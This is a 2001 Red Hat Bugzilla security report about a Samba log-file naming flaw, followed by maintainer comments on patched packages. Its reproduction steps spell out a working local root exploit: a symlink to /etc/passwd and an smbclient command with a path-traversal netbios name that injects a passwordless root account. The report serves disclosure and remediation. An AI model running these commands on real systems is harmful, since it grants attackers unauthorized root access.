Bug 45645

Summary: Log settings in configuration file allow system compromise
Product: [Retired] Red Hat Linux Reporter: peterw
Component: sambaAssignee: Trond Eivind Glomsrxd <teg>
Status: CLOSED ERRATA QA Contact: David Lawrence <dkl>
Severity: medium Docs Contact:
Priority: medium    
Version: 6.2Keywords: Security
Target Milestone: ---   
Target Release: ---   
Hardware: All   
OS: Linux   
URL: http://us1.samba.org/samba/whatsnew/macroexploit.html
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2001-06-24 17:58:52 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description peterw 2001-06-24 15:00:26 UTC
From Bugzilla Helper:
User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.2.19-6.2.1 i686)

Description of problem:
RHAT Samba config contains
log file = /var/log/samba/%m.log

By using unexpected values for netbios names, attackers can create new .log
files, or, using 
sym links, can append to existing files (/etc/passwd?). Michal Zalewski,
who reported the bug
on Bugtraq (and, apparently, to the Samba team), also reports that the
default Samba line of
log file = /var/log/samba/log.%m
may allow attackers to connect with invlid names containing "/" characters,
and evade logging.

How reproducible:
Always

Steps to Reproduce:
(from Michal's report)
1. ln -s /etc/passwd /tmp/x.log
2. smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n
../../../tmp/x -N
...where 'NIMUE' stands for local host name (few error messages
   should be returned).
3. su toor

Actual Results:  root shell

Expected Results:  user "toor" should not exist

Additional info:

Preferred configuration, until Samba releases a patch, is
log file = /var/log/samba/%I.log
or
log file = /var/log/samba/log.%I
which will make Smaba log by IP address, avoiding the "../" netbios name
attacks.

Comment 1 Trond Eivind Glomsrxd 2001-06-24 17:58:22 UTC
Updated (2.0.10) rpms for all releases, all architectures are currently in testing.

Comment 2 Trond Eivind Glomsrxd 2001-06-26 21:59:59 UTC
2.2.10 was released yesterday as a security errata for RHL 5.2, 6.2, 7 and 7.1.